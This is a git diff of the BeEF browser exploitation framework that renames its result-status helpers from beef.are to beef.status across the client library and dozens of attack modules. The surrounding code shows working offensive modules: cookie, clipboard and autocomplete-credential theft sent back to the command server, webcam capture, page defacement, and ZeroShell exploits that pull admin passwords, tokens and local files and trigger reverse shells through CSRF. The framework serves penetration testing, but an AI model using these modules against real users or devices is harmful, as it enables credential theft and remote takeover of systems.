diff --git a/core/main/client/are.js b/core/main/client/are.js
deleted file mode 100644
index 126482a4f..000000000
--- a/core/main/client/are.js
+++ /dev/null
@@ -1,41 +0,0 @@
-//
-// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-// Browser Exploitation Framework (BeEF) - https://beefproject.com
-// See the file 'doc/COPYING' for copying permission
-//
-
-/**
- * A series of functions that handle statuses, returns a number based on the function called.
- * @namespace beef.are
- */
-
-beef.are = {
- /**
- * A function for handling a success status
- * @memberof beef.are
- * @method status_success
- * @return {number} 1
- */
- status_success: function(){
- return 1;
- },
- /**
- * A function for handling an unknown status
- * @memberof beef.are
- * @method status_unknown
- * @return {number} 0
- */
- status_unknown: function(){
- return 0;
- },
- /**
- * A function for handling an error status
- * @memberof beef.are
- * @method status_error
- * @return {number} -1
- */
- status_error: function(){
- return -1;
- }
-};
-beef.regCmp("beef.are");
diff --git a/core/main/client/status.js b/core/main/client/status.js
new file mode 100644
index 000000000..e7433d919
--- /dev/null
+++ b/core/main/client/status.js
@@ -0,0 +1,42 @@
+//
+// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - https://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Status code helpers for module command results.
+ * Modules use these when sending results back to the BeEF server.
+ * @namespace beef.status
+ */
+
+beef.status = {
+ /**
+ * Success status code
+ * @memberof beef.status
+ * @method success
+ * @return {number} 1
+ */
+ success: function(){
+ return 1;
+ },
+ /**
+ * Unknown status code
+ * @memberof beef.status
+ * @method unknown
+ * @return {number} 0
+ */
+ unknown: function(){
+ return 0;
+ },
+ /**
+ * Error status code
+ * @memberof beef.status
+ * @method error
+ * @return {number} -1
+ */
+ error: function(){
+ return -1;
+ }
+};
+beef.regCmp("beef.status");
diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb
index 8e4d42bc6..821fee54d 100644
--- a/core/main/handlers/modules/beefjs.rb
+++ b/core/main/handlers/modules/beefjs.rb
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
- encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
+ encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb
index 240a83659..296a49d8d 100644
--- a/core/main/handlers/modules/legacybeefjs.rb
+++ b/core/main/handlers/modules/legacybeefjs.rb
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
- encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
+ encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb
index e054fcf5c..a7a234330 100644
--- a/core/main/handlers/modules/multistagebeefjs.rb
+++ b/core/main/handlers/modules/multistagebeefjs.rb
@@ -23,7 +23,7 @@ module BeEF
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
- encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
+ encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js
index 87500ea15..ca7b45ac4 100644
--- a/modules/browser/detect_extensions/command.js
+++ b/modules/browser/detect_extensions/command.js
@@ -1099,7 +1099,7 @@ beef.execute(function() {
if (!failed) {
failed = true;
if (e.indexOf("detect_chrome_extension") != -1) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error());
}
}
};
@@ -1108,7 +1108,7 @@ beef.execute(function() {
detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
}
} catch(e) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error());
}
} else if(beef.browser.isFF()) {
try {
@@ -1117,7 +1117,7 @@ beef.execute(function() {
if (!failed) {
failed = true;
if (e.indexOf("detect_firefox_extension") != -1) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error());
}
}
};
@@ -1126,11 +1126,11 @@ beef.execute(function() {
detect_firefox_extension(firefox_extensions[i], i);
}
} catch(e) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error());
}
} else {
beef.debug('[Detect Extensions] Unspported browser');
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.status.error());
}
});
diff --git a/modules/browser/detect_mime_types/command.js b/modules/browser/detect_mime_types/command.js
index 789a676ab..8f0caaaee 100644
--- a/modules/browser/detect_mime_types/command.js
+++ b/modules/browser/detect_mime_types/command.js
@@ -8,11 +8,11 @@ beef.execute(function() {
if (navigator.mimeTypes) {
var mime_types = JSON.stringify(navigator.mimeTypes);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.status.success());
beef.debug("[Detect MIME Types] " + mime_types);
} else {
beef.debug("[Detect MIME Types] Could not retrieve supported MIME types");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.status.error());
}
});
diff --git a/modules/browser/fingerprint_browser/command.js b/modules/browser/fingerprint_browser/command.js
index 3d2d6a88e..3fb8c1f12 100644
--- a/modules/browser/fingerprint_browser/command.js
+++ b/modules/browser/fingerprint_browser/command.js
@@ -22,12 +22,12 @@ beef.execute(function() {
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.status.success());
})
}, 500)
} catch(e) {
beef.debug('[Fingerprint Browser] Error: ' + e.message);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.status.error());
}
});
diff --git a/modules/browser/hooked_origin/alert_dialog/command.js b/modules/browser/hooked_origin/alert_dialog/command.js
index d75cb5756..3b169fc11 100644
--- a/modules/browser/hooked_origin/alert_dialog/command.js
+++ b/modules/browser/hooked_origin/alert_dialog/command.js
@@ -6,5 +6,5 @@
beef.execute(function() {
alert("<%= @text %>");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.status.success());
});
diff --git a/modules/browser/hooked_origin/clear_console/command.js b/modules/browser/hooked_origin/clear_console/command.js
index e5ed8e44b..04d111411 100644
--- a/modules/browser/hooked_origin/clear_console/command.js
+++ b/modules/browser/hooked_origin/clear_console/command.js
@@ -8,8 +8,8 @@ beef.execute(function() {
try {
beef.debug("Clearing console...");
console.clear();
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.status.success());
} catch(e) {
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.status.error());
}
});
diff --git a/modules/browser/hooked_origin/deface_web_page/command.js b/modules/browser/hooked_origin/deface_web_page/command.js
index c9cf6844e..31fdd9099 100644
--- a/modules/browser/hooked_origin/deface_web_page/command.js
+++ b/modules/browser/hooked_origin/deface_web_page/command.js
@@ -9,5 +9,5 @@ beef.execute(function() {
document.title = "<%= @deface_title %>";
beef.browser.changeFavicon("<%= @deface_favicon %>");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.status.success());
});
diff --git a/modules/browser/hooked_origin/deface_web_page_component/command.js b/modules/browser/hooked_origin/deface_web_page_component/command.js
index 5bd9a46bb..78624eb79 100644
--- a/modules/browser/hooked_origin/deface_web_page_component/command.js
+++ b/modules/browser/hooked_origin/deface_web_page_component/command.js
@@ -10,5 +10,5 @@ beef.execute(function() {
$j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')););
}).length;
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.status.success());
});
diff --git a/modules/browser/hooked_origin/get_autocomplete_creds/command.js b/modules/browser/hooked_origin/get_autocomplete_creds/command.js
index 8cd848064..9783f6ef7 100644
--- a/modules/browser/hooked_origin/get_autocomplete_creds/command.js
+++ b/modules/browser/hooked_origin/get_autocomplete_creds/command.js
@@ -23,7 +23,7 @@ beef.execute(function() {
}
beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'");
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.status.success());
}
create_form = function(input_name) {
diff --git a/modules/browser/hooked_origin/get_cookie/command.js b/modules/browser/hooked_origin/get_cookie/command.js
index fc00572e1..39f8142d3 100644
--- a/modules/browser/hooked_origin/get_cookie/command.js
+++ b/modules/browser/hooked_origin/get_cookie/command.js
@@ -5,10 +5,10 @@
//
beef.execute(function() {
try {
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.success());
beef.debug("[Get Cookie] Cookie captured: "+document.cookie);
}catch(e){
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.error());
beef.debug("[Get Cookie] Error");
}
});
diff --git a/modules/browser/hooked_origin/get_page_html/command.js b/modules/browser/hooked_origin/get_page_html/command.js
index 092e0e575..f062ac697 100644
--- a/modules/browser/hooked_origin/get_page_html/command.js
+++ b/modules/browser/hooked_origin/get_page_html/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
var head = beef.browser.getPageHead();
var body = beef.browser.getPageBody();
var mod_data = 'head=' + head + '&body=' + body;
- beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success());
- return [beef.are.status_success(), mod_data];
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.status.success());
+ return [beef.status.success(), mod_data];
});
diff --git a/modules/browser/play_sound/command.js b/modules/browser/play_sound/command.js
index cd386b1aa..d3fc570ed 100644
--- a/modules/browser/play_sound/command.js
+++ b/modules/browser/play_sound/command.js
@@ -10,9 +10,9 @@ beef.execute(function() {
var sound = new Audio(url);
sound.play();
beef.debug("[Play Sound] Played sound successfully: " + url);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.status.success());
} catch (e) {
beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error());
}
});
diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js
index fcd3b42f5..1f73dd21f 100644
--- a/modules/browser/webcam_html5/command.js
+++ b/modules/browser/webcam_html5/command.js
@@ -11,7 +11,7 @@ beef.execute(function() {
beef.debug('[Webcam HTML5] Browser supports WebGL');
} else {
beef.debug('[Webcam HTML5] Error: WebGL is not supported');
- beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.status.error());
return;
}
@@ -36,7 +36,7 @@ beef.execute(function() {
ctx.drawImage(vid_el,0,0,width,height);
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
} else {
- beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.status.error());
}
};
@@ -85,7 +85,7 @@ beef.execute(function() {
}, false);
}, function(err) {
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
- beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.status.error());
});
// Retrieve the chosen div option from BeEF and display
diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js
index 00d5a1c6c..960a4a95f 100644
--- a/modules/debug/test_return_ascii_chars/command.js
+++ b/modules/debug/test_return_ascii_chars/command.js
@@ -9,8 +9,6 @@ beef.execute(function() {
var str = '';
for (var i=32; i<=127;i++) str += String.fromCharCode(i);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
- //return [beef.are.status_success(), str];
- test_return_ascii_chars_mod_output = [beef.are.status_success(), str];
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success());
});
diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js
index 53ab58712..3487b61d3 100644
--- a/modules/debug/test_return_long_string/command.js
+++ b/modules/debug/test_return_long_string/command.js
@@ -13,8 +13,6 @@ beef.execute(function() {
for (var i = 0; i < iterations; i++) {
str += repeat_value;
}
- beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success());
- //return [beef.are.status_success(), str];
- test_return_long_string_mod_output = [beef.are.status_unknown(), str];
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success());
});
diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
index 1aab1e606..d13ccaff6 100644
--- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
+++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js
@@ -26,6 +26,6 @@ beef.execute(function() {
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
document.location = target;
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown());
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js
index 339886897..996b4bf62 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js
@@ -18,18 +18,18 @@ beef.execute(function() {
beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){
if(response1.status_code == 200){
pwd = response1.response_body.trim();
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: " + pwd);
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){
if(response2.status_code == 200){
token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40);
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success());
} else {
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error());
}
});
} else {
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error());
}
});
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js
index 61c3b25d1..e8d9f09f5 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js
@@ -13,9 +13,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.status.success());
}else{
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js
index 7ff47723e..84a8546c9 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js
@@ -13,9 +13,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.status.success());
}else{
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js
index 7deee471d..409647ccd 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js
@@ -14,9 +14,9 @@ beef.execute(function() {
beef.debug("[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: " + uri);
beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){
if(response.status_code == 200){
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.status.success());
}else{
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error());
}
});
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
index 831744c36..c781b7980 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
@@ -15,5 +15,5 @@ beef.execute(function() {
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
iframe_<%= @command_id %>.setAttribute('src', target);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.status.unknown());
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js
index 92bdaebd3..79571f3f0 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js
@@ -21,12 +21,12 @@ beef.execute(function() {
beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){
if(response1.status_code == 200){
pwd = response1.response_body.trim();
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: " + pwd);
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){
if(response2.status_code == 200){
token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40);
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success());
beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context.");
beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, {
Action: "Lookup",
@@ -35,15 +35,15 @@ beef.execute(function() {
STk: token,
What: payload
}, 10, 'script', false, null, function(response3){
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.status.unknown());
}
);
} else {
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error());
}
});
} else {
- beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error());
}
});
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js
index a4ad1647f..d987580cc 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js
@@ -17,5 +17,5 @@ beef.execute(function() {
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
iframe_<%= @command_id %>.setAttribute('src', target);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown());
});
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
index 5b88d50ca..502ee06a0 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
@@ -96,9 +96,9 @@ beef.execute(function() {
// Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited.
getResult = function(){
if(result.trim() != "")
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.status.success());
else
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.status.unknown());
div.innerHTML = ""; // Clean the current DOM's div
result = ""; // Clear the result of the bloc tested for the next loop
}
@@ -108,7 +108,7 @@ beef.execute(function() {
else // We have reach the last IP address to scan
setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete
document.body.removeChild(div);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.status.success());
}, timeout*2);
}
diff --git a/modules/host/clipboard_theft/command.js b/modules/host/clipboard_theft/command.js
index 6e58b3133..23ce0ab1a 100644
--- a/modules/host/clipboard_theft/command.js
+++ b/modules/host/clipboard_theft/command.js
@@ -8,9 +8,9 @@ beef.execute(function() {
try {
var clipboard = clipboardData.getData("Text");
beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)');
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.status.success());
} catch (e) {
beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.status.error());
}
});
diff --git a/modules/host/detect_airdroid/command.js b/modules/host/detect_airdroid/command.js
